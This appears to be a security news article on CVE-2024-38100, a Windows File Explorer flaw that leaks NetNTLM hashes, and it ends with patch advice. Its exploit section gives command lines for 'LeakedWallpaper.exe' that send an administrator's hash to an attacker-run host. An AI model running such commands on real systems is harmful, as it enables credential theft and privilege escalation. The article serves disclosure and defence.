Leaked Wallpaper Vulnerability Exposes Windows Users to Privilege Escalation Attacks

A newly discovered vulnerability in Windows File Explorer has raised alarms within the cybersecurity community.

Identified as CVE-2024-38100, this security flaw allows attackers to escalate privileges by exploiting a seemingly innocuous wallpaper feature.

CVE-2024-38100 – Windows File Explorer Elevation of Privilege Vulnerability

Released on July 9, 2024, CVE-2024-38100 is a critical vulnerability that Microsoft has classified as an “Important” security issue.

The flaw, tracked under CWE-284 for Improper Access Control, carries a CVSS score of 7.8/6.8, indicating a significant risk to affected systems.

The Exploit

The vulnerability centers around the ability to leak a user’s NetNTLM hash from any session on the computer, even from a low-privileged user account.

The exploit tool, named “LeakedWallpaper.exe,” can be executed with the following command:

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg

For example:

.\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg

This command targets a specific session ID, allowing an attacker to capture the NetNTLM hash of a privileged account, such as an administrator, from a low-privileged session.

The attacker operates from a low-privileged account (“exploit”) and targets a privileged account (“administrator”) to obtain its NetNTLM hash.

The attacker’s machine (Responder IP: 172.16.0.5) communicates with the victim’s machine (Windows IP: 172.16.0.2) to execute the exploit.

Microsoft has addressed this vulnerability in the KB5040434 update. Users and administrators are strongly advised to apply this update immediately to protect their systems from potential attacks.

CVE-2024-38100 underscores the importance of continuous vigilance and timely updates in maintaining cybersecurity.

As attackers find innovative ways to exploit even the most mundane features, users must stay informed and proactive in safeguarding their digital environments.

For more information on this vulnerability and its mitigation, visit the official Microsoft security advisory page. 

Are you from SOC and DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Free Access